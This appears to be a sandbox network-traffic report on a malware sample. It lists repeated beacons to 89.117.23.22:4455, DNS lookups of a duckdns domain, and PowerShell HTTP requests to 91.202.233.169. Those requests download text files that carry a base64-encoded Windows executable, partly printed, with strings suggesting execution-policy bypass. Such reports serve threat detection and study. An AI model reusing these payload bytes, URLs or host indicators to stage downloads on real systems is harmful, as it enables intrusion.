Oct 1, 2024 06:30:31.348483086 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:30:31.434318066 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:30:31.436242104 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:30:31.441204071 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:30:31.441277981 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:30:31.446212053 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:30:41.990216970 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:30:41.995178938 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:30:41.995242119 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:30:42.000832081 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:30:42.281076908 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:30:42.332992077 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:30:42.416698933 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:30:42.418085098 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:30:42.422960043 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:30:42.423017025 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:30:42.427918911 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:30:52.973963022 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:30:52.978959084 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:30:52.979027033 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:30:52.983863115 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:30:53.264847994 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:30:53.317286968 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:30:53.396378994 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:30:53.398396969 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:30:53.403215885 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:30:53.405535936 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:30:53.410381079 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:00.568073034 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:00.614227057 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:00.700404882 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:00.754822969 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:03.959043980 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:03.964155912 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:03.964222908 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:03.969046116 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:04.249217987 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:04.301904917 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:04.372582912 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:04.374329090 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:04.379101992 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:04.379163980 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:04.383941889 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:14.942842960 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:14.948735952 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:14.948828936 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:14.954965115 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:15.233608961 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:15.286077023 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:15.364383936 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:15.376868010 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:15.381768942 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:15.381834984 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:15.386687040 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:25.927169085 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:25.932101011 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:25.932195902 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:25.936961889 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:26.217648983 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:26.270468950 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:26.348408937 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:26.349807978 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:26.354722023 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:26.354774952 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:26.359561920 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:30.251924992 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:30.312122107 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:30.380372047 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:30.426934958 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:36.911545038 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:36.916580915 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:36.916661024 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:36.921521902 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:37.371934891 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:37.371994019 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:37.372060061 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:37.373780966 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:37.378608942 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:37.378667116 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:37.383486986 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:47.895967007 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:47.900800943 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:47.900854111 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:47.906090021 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:48.404901028 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:48.458043098 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:48.529556036 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:48.531080008 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:48.535800934 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:48.535859108 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:48.540693045 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:58.880368948 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:58.885283947 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:58.885371923 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:58.890121937 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:59.169656038 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:59.223838091 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:59.300406933 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:59.302383900 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:59.307199001 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:31:59.307259083 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:31:59.312202930 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:32:00.251276016 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:32:00.302000999 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:32:00.380201101 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:32:00.427154064 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:32:06.645917892 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:32:06.651891947 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:32:06.653124094 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:32:06.658058882 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:32:06.935607910 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:32:06.989398003 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:32:07.061403036 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:32:07.062181950 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:32:07.066976070 CEST	4455	49737	89.117.23.22	192.168.2.4
Oct 1, 2024 06:32:07.067034006 CEST	49737	4455	192.168.2.4	89.117.23.22
Oct 1, 2024 06:32:07.072742939 CEST	4455	49737	89.117.23.22	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 1, 2024 06:30:00.822993040 CEST	50432	53	192.168.2.4	1.1.1.1
Oct 1, 2024 06:30:01.837419987 CEST	50432	53	192.168.2.4	1.1.1.1
Oct 1, 2024 06:30:02.833076000 CEST	50432	53	192.168.2.4	1.1.1.1
Oct 1, 2024 06:30:04.832156897 CEST	53	50432	1.1.1.1	192.168.2.4
Oct 1, 2024 06:30:04.832178116 CEST	53	50432	1.1.1.1	192.168.2.4
Oct 1, 2024 06:30:04.832190037 CEST	53	50432	1.1.1.1	192.168.2.4
Oct 1, 2024 06:30:09.849304914 CEST	55420	53	192.168.2.4	1.1.1.1
Oct 1, 2024 06:30:10.848870039 CEST	55420	53	192.168.2.4	1.1.1.1
Oct 1, 2024 06:30:11.864970922 CEST	55420	53	192.168.2.4	1.1.1.1
Oct 1, 2024 06:30:13.859914064 CEST	53	55420	1.1.1.1	192.168.2.4
Oct 1, 2024 06:30:13.859946012 CEST	53	55420	1.1.1.1	192.168.2.4
Oct 1, 2024 06:30:13.859977961 CEST	53	55420	1.1.1.1	192.168.2.4
Oct 1, 2024 06:30:18.864885092 CEST	56771	53	192.168.2.4	1.1.1.1
Oct 1, 2024 06:30:18.970983028 CEST	53	56771	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 1, 2024 06:30:00.822993040 CEST	192.168.2.4	1.1.1.1	0xc8ce	Standard query (0)	dczas.duckdns.org	A (IP address)	IN (0x0001)	false
Oct 1, 2024 06:30:01.837419987 CEST	192.168.2.4	1.1.1.1	0xc8ce	Standard query (0)	dczas.duckdns.org	A (IP address)	IN (0x0001)	false
Oct 1, 2024 06:30:02.833076000 CEST	192.168.2.4	1.1.1.1	0xc8ce	Standard query (0)	dczas.duckdns.org	A (IP address)	IN (0x0001)	false
Oct 1, 2024 06:30:09.849304914 CEST	192.168.2.4	1.1.1.1	0x1708	Standard query (0)	dczas.duckdns.org	A (IP address)	IN (0x0001)	false
Oct 1, 2024 06:30:10.848870039 CEST	192.168.2.4	1.1.1.1	0x1708	Standard query (0)	dczas.duckdns.org	A (IP address)	IN (0x0001)	false
Oct 1, 2024 06:30:11.864970922 CEST	192.168.2.4	1.1.1.1	0x1708	Standard query (0)	dczas.duckdns.org	A (IP address)	IN (0x0001)	false
Oct 1, 2024 06:30:18.864885092 CEST	192.168.2.4	1.1.1.1	0x7b10	Standard query (0)	dczas.duckdns.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 1, 2024 06:30:04.832156897 CEST	1.1.1.1	192.168.2.4	0xc8ce	Server failure (2)	dczas.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Oct 1, 2024 06:30:04.832178116 CEST	1.1.1.1	192.168.2.4	0xc8ce	Server failure (2)	dczas.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Oct 1, 2024 06:30:04.832190037 CEST	1.1.1.1	192.168.2.4	0xc8ce	Server failure (2)	dczas.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Oct 1, 2024 06:30:13.859914064 CEST	1.1.1.1	192.168.2.4	0x1708	Server failure (2)	dczas.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Oct 1, 2024 06:30:13.859946012 CEST	1.1.1.1	192.168.2.4	0x1708	Server failure (2)	dczas.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Oct 1, 2024 06:30:13.859977961 CEST	1.1.1.1	192.168.2.4	0x1708	Server failure (2)	dczas.duckdns.org	none	none	A (IP address)	IN (0x0001)	false
Oct 1, 2024 06:30:18.970983028 CEST	1.1.1.1	192.168.2.4	0x7b10	No error (0)	dczas.duckdns.org		89.117.23.22	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

91.202.233.169

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	91.202.233.169	80	4312	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Oct 1, 2024 06:29:57.026890039 CEST	94	OUT	GET /Tak/Reg/Marz/DRG/RTC/F3dll.txt HTTP/1.1 Host: 91.202.233.169 Connection: Keep-Alive
Oct 1, 2024 06:29:57.720839977 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Tue, 01 Oct 2024 04:29:57 GMT Content-Type: text/plain Content-Length: 11608 Connection: keep-alive Last-Modified: Tue, 01 Oct 2024 01:02:34 GMT ETag: "2d58-6235fe0675e80" Accept-Ranges: bytes Vary: Accept-Encoding Data Raw: 54 56 71 51 41 41 4d 41 41 41 41 45 41 41 41 41 2f 2f 38 41 41 4c 67 41 41 41 41 41 41 41 41 41 51 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 67 41 41 41 41 41 34 66 75 67 34 41 74 41 6e 4e 49 62 67 42 54 4d 30 68 56 47 68 70 63 79 42 77 63 6d 39 6e 63 6d 46 74 49 47 4e 68 62 6d 35 76 64 43 42 69 5a 53 42 79 64 57 34 67 61 57 34 67 52 45 39 54 49 47 31 76 5a 47 55 75 44 51 30 4b 4a 41 41 41 41 41 41 41 41 41 42 51 52 51 41 41 54 41 45 44 41 4d 42 4a 2b 32 59 41 41 41 41 41 41 41 41 41 41 4f 41 41 49 69 41 4c 41 56 41 41 41 42 6f 41 41 41 41 47 41 41 41 41 41 41 41 41 58 6a 67 41 41 41 41 67 41 41 41 41 41 41 41 41 41 41 41 41 45 41 41 67 41 41 41 41 41 67 41 41 42 41 41 41 41 41 41 41 41 41 41 47 41 41 41 41 41 41 41 41 41 41 43 41 41 41 41 41 41 67 41 41 41 41 41 41 41 41 4d 41 59 49 55 41 41 42 41 41 41 42 41 41 41 41 41 41 45 41 41 41 45 41 41 41 41 41 41 41 41 42 41 41 41 41 41 41 41 41 41 41 41 41 [TRUNCATED] Data Ascii: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAMBJ+2YAAAAAAAAAAOAAIiALAVAAABoAAAAGAAAAAAAAXjgAAAAgAAAAAAAAAAAAEAAgAAAAAgAABAAAAAAAAAAGAAAAAAAAAACAAAAAAgAAAAAAAAMAYIUAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAAw4AABPAAAAAEAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAACAAAAAAAAAAAAAAACCAAAEgAAAAAAAAAAAAAAC50ZXh0AAAAZBgAAAAgAAAAGgAAAAIAAAAAAAAAAAAAAAAAACAAAGAucnNyYwAAAAAEAAAAQAAAAAQAAAAcAAAAAAAAAAAAAAAAAABAAABALnJlbG9jAAAMAAAAAGAAAAACAAAAIAAAAAAAAAAAAAAAAAAAQAAAQgAAAAAAAAAAAAAAAAAAAABAOAAAAAAAAEgAAAACAAUAbCYAAKARAAABAAAAAAAAALQlAAC4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABMwAAAGAAAAAAAAACgFAAAGKh4CKAEAAAoqAAAbMAcAsQMAAAEAABEAABcNCQVyAQAAcG8CAAAK/gETBBEELGsoAwAAChMFFhMGK1ERBREGmhMHEQdvBAAACm8FAAAKcgUAAHAoBQAACm8CAAAKEQdvBAAACm8FAAAKchcAAHAoBQAACm
Oct 1, 2024 06:29:57.720897913 CEST	224	IN	Data Raw: 38 43 41 41 41 4b 59 42 4d 49 45 51 67 73 42 54 68 44 41 77 41 41 41 41 41 52 42 68 66 57 45 77 59 52 42 68 45 46 6a 6d 6e 2b 42 42 4d 4a 45 51 6b 74 6f 51 41 44 43 6e 34 47 41 41 41 4b 43 77 4e 7a 42 77 41 41 43 67 77 44 62 77 67 41 41 41 70 76 Data Ascii: 8CAAAKYBMIEQgsBThDAwAAAAARBhfWEwYRBhEFjmn+BBMJEQktoQADCn4GAAAKCwNzBwAACgwDbwgAAApvCQAACnItAABwKAgAAApvAgAAChMKEQosCXI1AABwCwArIwADbwgAAApvCQAACnI/AABwKAgAAApvAgAACiZyRQAAcAsAABcTCxELBXJNAABwbwIAAAr+ARMMEQw5AgEAAAAbjQYAAAElFn
Oct 1, 2024 06:29:57.720928907 CEST	1236	IN	Data Raw: 4a 52 41 41 42 77 6f 69 55 58 42 4b 49 6c 47 48 49 4f 41 51 42 77 6f 69 55 5a 4b 41 6f 41 41 41 71 69 4a 52 70 79 64 41 45 41 63 4b 49 6f 43 77 41 41 43 68 4d 4e 4b 41 6f 41 41 41 70 79 33 67 45 41 63 43 67 4d 41 41 41 4b 45 51 30 6f 44 51 41 41 Data Ascii: JRAABwoiUXBKIlGHIOAQBwoiUZKAoAAAqiJRpydAEAcKIoCwAAChMNKAoAAApy3gEAcCgMAAAKEQ0oDQAACgBy7gEAcCgKAAAKct4BAHAoDgAAChYWFSgPAAAKJhuNBgAAASUWcokCAHCiJRcDoiUYcr8CAHCiJRkoCgAACqIlGnLhAgBwoigLAAAKFhYVKA8AAAomcuUCAHATDhuNBgAAASUWEQ6iJRdyOQMAcKIlGCgKAAAKo
Oct 1, 2024 06:29:57.720961094 CEST	1236	IN	Data Raw: 41 41 41 43 6f 41 41 41 41 7a 41 41 41 41 4f 77 41 41 41 42 59 54 42 43 76 63 46 41 73 58 45 77 51 72 31 52 59 4d 47 68 4d 45 4b 38 34 4a 62 79 6b 41 41 41 70 79 4d 41 55 41 63 43 67 71 41 41 41 4b 4c 42 6b 62 45 77 51 72 74 77 59 49 6d 67 30 59 Data Ascii: AAACoAAAAzAAAAOwAAABYTBCvcFAsXEwQr1RYMGhMEK84JbykAAApyMAUAcCgqAAAKLBkbEwQrtwYImg0YEwQrrggsFRkTBCumFisDFysALQQJCysKCBdYDAgGjmky2QcUKCsAAAosAxYrAxcrAC0JBxQUbx8AAAom3gMm3gAqAAEQAAAAAAEAnp8AAwQAAAEeAigBAAAKKrQAAADOyu++AQAAAJEAAABsU3lzdGVtLlJlc291c
Oct 1, 2024 06:29:57.720993996 CEST	1236	IN	Data Raw: 41 41 6b 51 42 6f 41 50 6f 41 42 77 44 73 4a 41 41 41 41 41 43 52 41 48 34 41 4b 51 45 4a 41 47 49 67 41 41 41 41 41 49 59 59 31 67 4d 58 41 41 6f 41 41 41 41 42 41 42 59 41 41 41 41 43 41 4d 30 43 41 41 41 44 41 45 30 41 41 41 41 45 41 44 30 41 Data Ascii: AAkQBoAPoABwDsJAAAAACRAH4AKQEJAGIgAAAAAIYY1gMXAAoAAAABABYAAAACAM0CAAADAE0AAAAEAD0AAAAFADEAAAAGADcAAAABAF8AAAACAGgAAAABAF8ACQDWAxcAMQDjBEIAGQCrBEcAGQDXAE0AMQCeA00AMQB+BVEAEQDWA1QAMQCsA00AMQAJA00AOQDBAlkAMQD0BF0AMQD0BGMAQQA9BWkAMQD0BG8ASQDnAnYAE
Oct 1, 2024 06:29:57.721028090 CEST	1236	IN	Data Raw: 4e 70 59 6d 78 6c 51 58 52 30 63 6d 6c 69 64 58 52 6c 41 45 46 7a 63 32 56 74 59 6d 78 35 56 47 6c 30 62 47 56 42 64 48 52 79 61 57 4a 31 64 47 55 41 51 58 4e 7a 5a 57 31 69 62 48 6c 55 63 6d 46 6b 5a 57 31 68 63 6d 74 42 64 48 52 79 61 57 4a 31 Data Ascii: NpYmxlQXR0cmlidXRlAEFzc2VtYmx5VGl0bGVBdHRyaWJ1dGUAQXNzZW1ibHlUcmFkZW1hcmtBdHRyaWJ1dGUAVGFyZ2V0RnJhbWV3b3JrQXR0cmlidXRlAEFzc2VtYmx5RmlsZVZlcnNpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc
Oct 1, 2024 06:29:57.721061945 CEST	896	IN	Data Raw: 64 7a 41 45 4e 76 62 6e 52 68 61 57 35 7a 41 46 42 79 62 32 4e 6c 63 33 4d 41 51 32 39 75 59 32 46 30 41 45 39 69 61 6d 56 6a 64 41 42 54 65 58 4e 30 5a 57 30 75 54 6d 56 30 41 45 56 34 61 58 51 41 54 58 4e 6e 51 6d 39 34 55 6d 56 7a 64 57 78 30 Data Ascii: dzAENvbnRhaW5zAFByb2Nlc3MAQ29uY2F0AE9iamVjdABTeXN0ZW0uTmV0AEV4aXQATXNnQm94UmVzdWx0AFdlYkNsaWVudABDb252ZXJ0AFN5c3RlbS5UZXh0AFdyaXRlQWxsVGV4dABNc2dCb3gAZ2V0X0xvYWRlZEFzc2VtYmx5AG9wX0VxdWFsaXR5AG9wX0luZXF1YWxpdHkARW1wdHkAAAM0AAARdgBtAHQAbwBvAGwAc
Oct 1, 2024 06:29:57.721093893 CEST	1236	IN	Data Raw: 67 41 5a 51 42 73 41 47 77 41 4c 67 42 6c 41 48 67 41 5a 51 41 67 41 46 4d 41 5a 51 42 30 41 43 30 41 52 51 42 34 41 47 55 41 59 77 42 31 41 48 51 41 61 51 42 76 41 47 34 41 55 41 42 76 41 47 77 41 61 51 42 6a 41 48 6b 41 49 41 42 43 41 48 6b 41 Data Ascii: gAZQBsAGwALgBlAHgAZQAgAFMAZQB0AC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABCAHkAcABhAHMAcwAgAC0AUwBjAG8AcABlACAAUAByAG8AYwBlAHMAcwAgADsAIABwAG8AdwBlAHIAcwBoAGUAbABsACAALQBmAGkAbABlACAAATVwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIABDAG8AcAB5AC0AS
Oct 1, 2024 06:29:57.721126080 CEST	1236	IN	Data Raw: 34 45 49 41 45 42 44 67 4d 41 41 41 34 46 41 41 45 4f 48 51 34 46 41 41 49 4f 44 67 34 46 41 41 49 42 44 67 34 47 41 41 4d 4f 44 67 34 4f 43 41 41 45 43 41 34 52 4b 51 49 49 42 51 41 42 41 52 49 52 42 51 41 42 41 52 45 31 42 41 41 41 45 6a 6b 46 Data Ascii: 4EIAEBDgMAAA4FAAEOHQ4FAAIODg4FAAIBDg4GAAMODg4OCAAECA4RKQIIBQABARIRBQABARE1BAAAEjkFIAEBEjkEAAEODgQgAQ4OBSACDg4OBAAAEkEFAAEdBQ4GIAESSR0FBSABEk0OBSABElEOBiACHBwdHAgAAxFZHBFdHAkABgEODg4ODg4CBhwCBggEAAEBHAUgAgEcGAUgAQESZQQgABJJBgACARwSaQsHBR0SURJRC
Oct 1, 2024 06:29:57.721159935 CEST	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 51 41 51 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAQAAAAGAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAMAAAgAAAAAAAAAAAAAAAAAAAAQAAAAAASAAAAFhAAAA8AwAAAAAAAAAAAAA8AzQAAABWAFMAXwBWAEUAUgBTAEkATwBOAF8ASQBOAEYATwAAAAAAvQTv/gAAAQAAAAEAA
Oct 1, 2024 06:29:57.726119041 CEST	870	IN	Data Raw: 42 6c 41 48 49 41 63 77 42 70 41 47 38 41 62 67 41 41 41 44 45 41 4c 67 41 77 41 43 34 41 4d 41 41 75 41 44 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: BlAHIAcwBpAG8AbgAAADEALgAwAC4AMAAuADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMAAADAAAAGA4AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Oct 1, 2024 06:29:57.808377028 CEST	69	OUT	GET /Tak/Reg/Marz/DRG/RTC/F3Pe.txt HTTP/1.1 Host: 91.202.233.169
Oct 1, 2024 06:29:58.030160904 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.20.2 Date: Tue, 01 Oct 2024 04:29:57 GMT Content-Type: text/plain Content-Length: 57008 Connection: keep-alive Last-Modified: Tue, 01 Oct 2024 00:53:45 GMT ETag: "deb0-6235fc0df7840" Accept-Ranges: bytes Vary: Accept-Encoding Data Raw: e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 82 e3 81 [TRUNCATED] Data Ascii:
